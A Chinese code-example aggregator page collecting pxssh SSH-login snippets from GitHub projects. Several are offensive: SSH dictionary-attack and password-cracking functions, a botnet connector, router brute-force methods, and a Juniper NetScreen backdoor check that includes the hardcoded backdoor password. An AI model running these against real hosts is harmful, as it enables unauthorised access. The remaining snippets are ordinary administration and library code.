当前位置: 首页>>代码示例>>Python>>正文


Python pxssh.pxssh方法代码示例

本文整理汇总了Python中pexpect.pxssh.pxssh方法的典型用法代码示例。如果您正苦于以下问题:Python pxssh.pxssh方法的具体用法?Python pxssh.pxssh怎么用?Python pxssh.pxssh使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在pexpect.pxssh的用法示例。


在下文中一共展示了pxssh.pxssh方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: ThreadSSH

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def ThreadSSH(self):
        try:
            self.session = pxssh.pxssh(encoding='utf-8')
            if (not path.isfile(self.settings['Password'])):
                self.session.login(gethostbyname(self.settings['Host']), self.settings['User'],
                self.settings['Password'],port=self.settings['Port'])
            else:
                self.session.login(gethostbyname(self.settings['Host']), self.settings['User'],
                ssh_key=self.settings['Password'],port=self.settings['Port'])

            if self.connection:
                self.status = '[{}]'.format(setcolor('ON',color='green'))
            self.activated = True
        except Exception, e:
            self.status = '[{}]'.format(setcolor('OFF',color='red'))
            self.activated = False 
开发者ID:mh4x0f,项目名称:b1tifi,代码行数:18,代码来源:ssh.py

示例2: connect

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def connect(host, user, password, release):
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+] Password Found: ' + password
        #找到密码,则将全局变量Found设置为True
        Found = True
    except Exception, e:
        #异常信息中包含有 read_nonblocking 说明可能是SSH服务器被大量的连接刷爆了,可以稍等片刻后用相同的密码再试一次
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            connect(host, user, password, False)

        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False) 
开发者ID:sunshinelyz,项目名称:python-hacker,代码行数:21,代码来源:ssh_attack.py

示例3: connect

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def connect(host, user, password, release):
	global Found
	global Fails
	try:
		s = pxssh.pxssh()
		s.login(host, user, password)
		print('\n===========================================================')
		print('\n[+] Password Found: {}\n'.format(password.decode('utf-8')))
		print('===========================================================\n')
		Found = True
		s.logout()
	except Exception as e:
		if 'read_nonblocking' in str(e):
			Fails += 1
			time.sleep(5)
			connect(host, user, password, False)
		elif 'synchronize with original prompt' in str(e):
			time.sleep(1)
			connect(host, user, password, False)
	finally:
		if release: 
			connection_lock.release() 
开发者ID:himadriganguly,项目名称:ssh-password-cracker,代码行数:24,代码来源:sshDictionaryAttack.py

示例4: _login_remote_system

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def _login_remote_system(self, ip, user, pwd, ssh_key=None, port=None):
        s = pxssh.pxssh()
        s.force_password = True
        s.SSH_OPTS = "-o 'NumberOfPasswordPrompts=1'"
        s.login(ip, user, pwd, ssh_key=ssh_key, port=port)
        return s 
开发者ID:aerospike,项目名称:aerospike-admin,代码行数:8,代码来源:node.py

示例5: connect

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def connect(user, host, password):
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        return s
    except Exception, e:
        print '[-] Error Connecting ==> ' + e
        exit(0) 
开发者ID:sunshinelyz,项目名称:python-hacker,代码行数:10,代码来源:pxssh_connection.py

示例6: connect

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'

    #发送指定的命令 
开发者ID:sunshinelyz,项目名称:python-hacker,代码行数:12,代码来源:ssh_botnet.py

示例7: connect

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print cl.red+("\n[+] Password Found: [ {} ] ".format(password))+cl.end
        print ("\n[For Connect With SSH Service Write] : ssh {}@{}".format(user,host))
	print "[Then Enter Password]: ",password
	print "\n\t* Done *\n"
        exit(0)
    except Exception:
        return None 
开发者ID:bing0o,项目名称:Python-Scripts,代码行数:13,代码来源:ssh_crack.py

示例8: get_remote_shell

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def get_remote_shell(target_host, sshkey_file=None, user_name=None, wait=True):
    log.info("Getting remote shell for target host [%s]", target_host)
    horton = Horton()
    log.debug("Checking cache for existing Shell session to host")
    shell = horton.shells[target_host] if target_host in horton.shells else None
    if shell:
        if not shell.isalive():
            log.debug("Cached shell is not live, recreating")
            shell = None
        else:
            return shell
    if not shell:
        log.debug("Creating new session")
        sshkey_file = sshkey_file if sshkey_file else config.profile['sshkey_file']
        user_name = user_name if user_name else 'centos'
        while not shell:
            try:
                shell = pxssh.pxssh(options={"StrictHostKeyChecking": "no", "UserKnownHostsFile": "/dev/null"})
                shell.login(target_host, user_name, ssh_key=sshkey_file, check_local_ip=False)
            except (ExceptionPxssh, EOF):
                if not wait:
                    log.info("Target host is not accepting the connection, Wait is not set, returning False...")
                    return False
                else:
                    log.info("Retrying until target host accepts the connection request...")
                    sleep(5)
            horton.shells[target_host] = shell
            log.info("Returning Shell session...")
    return shell 
开发者ID:Chaffelson,项目名称:whoville,代码行数:31,代码来源:utils.py

示例9: connect

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def connect(config, path):
    store = config['password_store']
    hostname = store.get_decrypted_password(path, entry=EntryType.hostname)
    username = store.get_decrypted_password(path, entry=EntryType.username)
    password = store.get_decrypted_password(path, entry=EntryType.password)
    s = pxssh.pxssh()
    click.echo("Connectig to %s" % hostname)
    s.login(hostname, username, password=password)
    s.sendline()
    s.interact() 
开发者ID:aviau,项目名称:python-pass,代码行数:12,代码来源:command.py

示例10: run

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def run(self):
            port = 22
            if r"http" in self.url:
                # 提取host
                host = urlparse(self.url)[1]
                try:
                    port = int(host.split(':')[1])
                except:
                    pass
                flag = host.find(":")
                if flag != -1:
                    host = host[:flag]
            else:
                host = self.url

            try:
                user = "root"
                password = "<<< %s(un='%s') = %u"
                s = pxssh.pxssh()
                s.login(host, user, password, port, auto_prompt_reset=False)
                s.sendline(b'Get int')
                s.prompt()
                if s.before.find(b'Interfaces') is not -1:
                    s.logout()
                    return "[+]存在juniper NetScreen防火墙后门(CVE-2015-7755)漏洞...(高危)\tpayload: " + host + ":" + str(
                        port) + " " + user + ":" + password
                else:
                    s.logout()
                    return "[-]no vuln"
            except:
                return "[-] ======>连接超时" 
开发者ID:iceyhexman,项目名称:onlinetools,代码行数:33,代码来源:juniper_netscreen_backdoor.py

示例11: validate

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def validate(self, target, port):

        try:
            s = pxssh.pxssh()
            s.login(target,username="root",port=port)
            return True
        except Exception, e:

            if str(e) == "Could not establish connection to host":
                print colored("[X] UNABLE TO CONNECT ", 'red', attrs=['bold'])
                return False
            else:
                return True 
开发者ID:msfidelis,项目名称:Kill-Router-,代码行数:15,代码来源:ssh.py

示例12: attack

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def attack(self, target, port, username, password, method):

        try:
            s = pxssh.pxssh()
            s.login(target,username,password,port=port)

            return True

        except Exception, e:
            return False 
开发者ID:msfidelis,项目名称:Kill-Router-,代码行数:12,代码来源:ssh.py

示例13: log_into_pi

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def log_into_pi(pi):
    #load settings from file and log in to pi
    hostname = pi[0]
    username = pi[1]
    password = pi[2]
    #just keeps hammering away every fifteen secs until manages to connect, no timeout yet
    connected = False
    global s
    counter_log = 0
    while connected == False and not counter_log >= 2:
        try:
            s = pxssh.pxssh()
            s.login (hostname, username, password)
            print("Connected to " + hostname + " ready to interrogate it...")
            connected = True
        except Exception as e:
            print("exception: " + str(e) + " ... will try again,")
            counter_log += 1
            time.sleep(10)
            print("trying again...")
            return('FAILED')
    try:
        get_pi_times()
        save_log(pi)
        s.logout()
    except:
        print("Couldn't get proper log recordings but did manage to log in...")
        s.logout()
        raise 
开发者ID:Pragmatismo,项目名称:Pigrow,代码行数:31,代码来源:pi_eye_logger.py

示例14: __init__

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def __init__ (self, timeout=30, maxread=2000, searchwindowsize=None,
                    logfile=None, cwd=None, env=None, ignore_sighup=True, echo=True,
                    options={}, encoding=None, codec_errors='strict',
                    debug_command_string=False, use_poll=False):

        spawn.__init__(self, None, timeout=timeout, maxread=maxread,
                       searchwindowsize=searchwindowsize, logfile=logfile,
                       cwd=cwd, env=env, ignore_sighup=ignore_sighup, echo=echo,
                       encoding=encoding, codec_errors=codec_errors, use_poll=use_poll)

        self.name = '<pxssh>'

        #SUBTLE HACK ALERT! Note that the command that SETS the prompt uses a
        #slightly different string than the regular expression to match it. This
        #is because when you set the prompt the command will echo back, but we
        #don't want to match the echoed command. So if we make the set command
        #slightly different than the regex we eliminate the problem. To make the
        #set command different we add a backslash in front of $. The $ doesn't
        #need to be escaped, but it doesn't hurt and serves to make the set
        #prompt command different than the regex.

        # used to match the command-line prompt
        self.UNIQUE_PROMPT = r"\[PEXPECT\][\$\#] "
        self.PROMPT = self.UNIQUE_PROMPT

        # used to set shell command-line prompt to UNIQUE_PROMPT.
        self.PROMPT_SET_SH = r"PS1='[PEXPECT]\$ '"
        self.PROMPT_SET_CSH = r"set prompt='[PEXPECT]\$ '"
        self.SSH_OPTS = ("-o'RSAAuthentication=no'"
                + " -o 'PubkeyAuthentication=no'")
# Disabling host key checking, makes you vulnerable to MITM attacks.
#                + " -o 'StrictHostKeyChecking=no'"
#                + " -o 'UserKnownHostsFile /dev/null' ")
        # Disabling X11 forwarding gets rid of the annoying SSH_ASKPASS from
        # displaying a GUI password dialog. I have not figured out how to
        # disable only SSH_ASKPASS without also disabling X11 forwarding.
        # Unsetting SSH_ASKPASS on the remote side doesn't disable it! Annoying!
        #self.SSH_OPTS = "-x -o'RSAAuthentication=no' -o 'PubkeyAuthentication=no'"
        self.force_password = False

        self.debug_command_string = debug_command_string

        # User defined SSH options, eg,
        # ssh.otions = dict(StrictHostKeyChecking="no",UserKnownHostsFile="/dev/null")
        self.options = options 
开发者ID:pypa,项目名称:pipenv,代码行数:47,代码来源:pxssh.py

示例15: rotate

# 需要导入模块: from pexpect import pxssh [as 别名]
# 或者: from pexpect.pxssh import pxssh [as 别名]
def rotate(record, newpassword):
    """ Grab any required fields from the record """

    user = record.login
    oldpassword = record.password

    result = False

    host = record.get('cmdr:host')

    try:
        s = pxssh.pxssh()
        s.login(host, user, oldpassword, sync_multiplier=3)
        s.sendline('passwd')
        i = s.expect(['[Oo]ld.*[Pp]assword', '[Cc]urrent.*[Pp]assword', '[Nn]ew.*[Pp]assword'])
        if i == 0 or i == 1:
            s.sendline(oldpassword)
            i = s.expect(['[Nn]ew.*[Pp]assword', 'password unchanged'])
            if i != 0:
                return False

        s.sendline(newpassword)
        s.expect("Retype [Nn]ew.*[Pp]assword:")
        s.sendline(newpassword)
        s.prompt()

        pass_result = s.before

        if "success" in str(pass_result):
            logging.info("Password changed successfully")
            record.password = newpassword
            result = True
        else:
            logging.error("Password change failed: ", pass_result)

        s.logout()
    except exceptions.TIMEOUT as t:
        logging.error("Timed out waiting for response.")
    except pxssh.ExceptionPxssh as e:
        logging.error("Failed to login with ssh.")

    return result 
开发者ID:Keeper-Security,项目名称:Commander,代码行数:44,代码来源:ssh.py


注:本文中的pexpect.pxssh.pxssh方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。